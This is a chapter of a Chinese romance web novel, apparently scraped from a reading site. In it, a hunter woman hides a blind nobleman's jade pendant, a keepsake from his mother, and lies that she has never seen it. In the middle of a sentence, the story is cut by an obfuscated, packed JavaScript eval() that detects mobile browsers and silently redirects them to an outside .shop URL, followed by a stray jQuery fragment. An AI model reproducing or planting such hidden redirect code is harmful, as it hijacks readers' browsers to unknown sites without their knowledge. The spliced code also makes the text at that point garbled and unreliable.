文趣网 > 其他小说 > 捡来的瞎子是疯批权臣 > 19. 玉佩
    春寒料峭,檐下的冰凌已经化了大半,滴滴答答往下淌水,落在屋旁的水缸里,留下清脆的响声。

    自除夕那夜之后,芸娘和穆渊谁也没有提起那个醉意朦胧的吻。

    就好似不曾发生过。

    其实芸娘那时并非全然醉了。

    青梅酒后劲虽大,但她的意识仍然还留着几分清明,不过是借着三分朦胧酒意想要试探穆渊的心罢了。

    酒壮怂人胆,芸娘清清楚楚地记得自己捧着穆渊的脸吻上去的感觉,也记得他从一开始的僵硬,倒后开微微张开唇回应她。

    那一瞬间,她觉得自己醉得更深了。

    这些时日来,她总是忍不住地想:既然穆渊回应了她,那是不是说明他心里也是有她的?

    可她却不敢相问。

    芸娘虽然生长在山野间,却不愚钝。

    她知道穆渊绝非寻常行商之人。

    他有他的来处,那时一个比她这一方小院阔大百倍千倍的地方。

    待开春暖透,他终究是要回去的。

    就算得到他的回应又如何,他会带着他一同回到上京吗?

    芸娘曾听说过,上京那些高门大户里的规矩繁复得很,除了明媒正娶的正室,还有侧室、姨娘、通房丫鬟。

    她不知道穆渊有没有那些,也不知道他若带她回去,会把她放在什么位置上。

    从小生长在山野间,芸娘自有自己的一身本事,她自能让自己活得很好,无需依靠男人过活。

    纵使她大字不识几个,也绝不愿意为人妾室。

    她不愿意与旁人共享一个男人。

    哪怕那人长得再好看,对她再好。

    她对穆渊的心,也尚未到一辈子放不下的地步。

    芸娘忽然想起她阿爹从前说过的话。

    阿爹还在的时候,常常端着酒碗坐在门槛上,望着远山有一搭没一搭地跟她念叨:

    人生在世,活着就要有一个念头。遇见喜欢的人,就要紧紧抓住。就算往后终究要分离,至少有过一段真心相待的日子,那便算是圆满了。总好过一辈子畏手畏脚,到头来什么都没抓住,空留遗憾。像那两个人一样……

    阿爹说这话的时候,好似透过芸娘尚且稚嫩的脸,看到了关于别人的故事。

    那时芸娘虽然不理解阿爹话里的深意,但却始终记住了那句话:喜欢一个人就要紧紧抓住,就算最后分开也没有关系。

    她坐在门槛上,望着院子中那棵开始冒出新芽的歪脖子枣树,慢慢呼出了一口白气。

    没错,阿爹说得对。

    即便穆渊最终不属于她,即便他终有一日会头也不回地回到他的世界离去,至少这段时光是她的。

    这些时日,穆渊也想不明白那夜自己为何会回应芸娘。

    或许是在某些他自己都未曾察觉的时刻,悄悄地动了心。

    他……他要如何对待芸娘呢?

    是否要带着她一同回到上京?

    可上京风诡云谲,他眼睛未曾恢复,一回去不知道要陷入何等境地,他不能连累芸娘。

    他有时会“望”着芸娘,唇微微一动,像是有话要说,又在开口之前咽了回去。

    其实就算穆渊开口,芸娘也不会答应的。

    她是想去上京,但她是为了去寻她阿爹,她独自一人撑了这么些年,就是因为这个念头。

    若真的与穆渊回去,她不知道自己会落到何种境地,不如一直当作什么都不知道。

    所以穆渊不提,她也不问。

    院子里那两个雪人和雪老虎已经化了大半,虎头帽歪歪地落在雪水里。

    芸娘站起身来拍了拍手,准备清点一下开春后头一批猎来的野物。

    她将几只肥硕的兔子,两张剥得齐整的狐皮,还有一串用草绳穿好的山鸡都放在背篓里。

    她盘算着今日把这些都那道镇上去卖了,再去济世堂瞧一眼,看看顾辞回来了没。

    顾辞留在清溪镇将近三年,每年一入腊月他便要回上京一趟,直到开春后才慢悠悠地回来。

    三年皆是如此。

    芸娘也隐约觉得,顾辞不只是一个治病救人的大夫这么简单。

    不过她没有窥探旁人隐私的爱好,所以她从来不追问他的来历。

    顾辞的医术在方圆百里内无人能及,却不知道为何从前芸娘几次三番请他再来看看穆渊的眼睛,他都以各种由头拒绝了。

    可这回,无论顾辞如何推脱,哪怕搬出三年前所谓的“救命之恩”来要挟他,芸娘都一定要让顾辞亲自前来替穆渊诊治一回。

    正想着,芸娘听见了床边传来极轻的布料摩擦声,是穆渊起身了。

    他穿着一身素白中衣,外袍还未披上,正微微垂着头。晨光从窗外透进来,映在他的脸上,为他添上了一层淡金色的光。

    “天色还早,你怎么就起来了?”芸娘朝着穆渊说道,“再睡一会儿吧。”

    穆渊却是摇了摇头:“等你出门了,我再睡。”

    他的语气平淡,芸娘的心口却像是被什么东西轻轻撞了一下,温温软软从胸腔一路漾开。

    每当芸娘带着大黄进山打猎,又或是去镇子上卖猎物,无论时间多早,无论穆渊在做什么,他都会等到芸娘离开后,再继续做自己的事。

    他们这般模样,就好似做了多年夫妻一般。

    芸娘压下心头那股酥麻的痒意,转身去拿搭在椅背的外衫:“等我回来给你带好吃的糕点。”

    “嗯。”穆渊轻轻应了一声,又忽然开口,“芸娘,你可曾见过一枚玉佩?”

    玉佩?

    芸娘的动作猛地顿住,她忽然想起来,她是见过那枚玉佩的。

    那日她替重伤昏迷的穆渊清理身上的伤口时,从他衣襟里滑落出来一块温润的白玉,雕着双鱼戏莲,系着一根褪了色的红绳,触手生凉。

    她当时想着若是穆渊往后不认她的救命之恩,那她便将那玉佩当作是他的谢礼。

    她隐约觉得那玉佩对穆渊来说一定极重要,又怕她不在的时候会被舅娘或是表哥偷偷拿走,于是便一直贴身放着。

    如今那玉佩放在她胸前衣襟的暗袋里。

    芸娘本想着等穆渊提起就还给她,只是后来……

    后来见他没提起,她便没有拿出来。

    此时穆渊忽然提及,倒是让她有些意外。

    芸娘不知道自己在犹豫些什么。

    也许只是觉得,若她将那玉佩还给了穆渊,他便随时都会离开她。

    她私心里想让那玉佩在她怀里多留一阵子,哪怕只是一阵子。

    她一定会还给穆渊的。

    “我……”芸娘张了张嘴,话到嘴边却硬生生拐了个弯,“我没见过,那玉佩……对你很重要吗?”

    穆渊沉默了片刻:“那时我母亲留给我的。”

    他母亲留给他的。

    芸娘攥着外衫的手收得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912032|213150||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    紧了些,指尖陷进布料里。

    可话已经说出去了。

    “原来是这样。”她听见自己的声音响起来,带着她自己都觉得明显的心虚,“说不定是掉在你摔下去的那处地方了。等我过几日进山打猎,帮你去鹰愁崖底下找找。”

    穆渊却只是轻轻摇了摇头:“不必了。丢了,便丢了吧。”

    可芸娘心里却更虚了,她也不好立刻改口。

    若她过几日真的拿出一块在鹰愁崖下寻到的玉佩回来,穆渊会相信吗?

    那鹰愁崖下面溪水湍急,冬日深雪覆地,春暖解冻化水。

    一块小小的玉佩掉落在那里,要么已经被冲走,要么被深土埋住,怎么可能过了这么久还好端端地等着人去捡?这谎话说得连她自己都圆不上。

    芸娘怕穆渊再多问些什么,也怕自己一不留神说漏了嘴。

    她不敢再待下去。

    “我、我去镇上了!”她匆匆将外衫套上,一把抄起背篓背到肩上,连腰带都没来得及系紧,“回来给你带好吃的,你好好歇着!”

    话音未落,她已经迈出了门槛,脚步踩在院子里的湿泥上啪嗒作响,飞快地朝着院门外走去。

    大黄原本蜷在廊下打盹,见芸娘风风火火地要出门,它便抖了抖耳朵,也屁颠屁颠地跟了上去,却又被芸娘赶了回来。

    “大黄,我今天不是去打猎,你不用跟着我,你就在这里陪着阿渊便好。”

    芸娘一手将大黄的大脑袋推进去,一手关上了院门。

    “要是有坏人敢来欺负阿渊,你就咬死他们,知道吗?”

    “嗷——”

    大黄明白了芸娘的意思,冲着她晃了晃脑袋,嗷叫一声,算是应下了。

    它又走回廊下,继续趴在那里打盹。

    穆渊也听见了芸娘和大黄的对话,他站在屋里,面朝着门口的方向,那张如玉的脸上没有什么表情。

    他微微侧着头,像是在听芸娘远去的脚步声。

    纵使他双目已眇,却始终心思玲珑。

    芸娘的心思单纯,从来没有算计害人之心,太好看透。

    穆渊又如何不知道她在撒谎骗他呢。

    那玉佩是他母亲送给他的东西,他一直贴身放着。

    若真的丢了,那定是他身上的衣裳被撕得破烂。

    可他落下悬崖被冲到溪边,直到昏迷之前,明明还摸到过。

    他是芸娘所救,芸娘为他清理伤口时,必定看过那枚玉佩。

    只是不知道她为何要说谎。

    在穆渊幼时,他的母亲曾为他定下过一桩婚约,那枚玉佩便是他母亲留给他未来妻子的,只是后来与他定下婚约的贵女幼年夭折,那枚玉佩便一直留在他身上。

    如今留给芸娘……

    便权当是自己对她救命之恩的谢礼吧。

    坐在李大山的牛车上,芸娘只觉得自己心里堵得慌,将玉佩从怀里拿了出来细细地看着。

    那枚玉佩裹在一方旧帕子里,被她放在怀里,她偶尔睡不着时便会翻出来摸一摸,玉面温润细滑,触手生凉,一看便是上品。

    芸娘想还给穆渊的,可每次拿起又放下,总觉得还回去之后,就真的留不住他了。

    “唉……”

    芸娘轻声叹了一口气,在前面赶牛车的李大山转过头,乐呵呵地说道:“芸娘你年纪轻轻的,叹什么气呢?”

    话音未落,他便看到芸娘手里的那枚玉佩。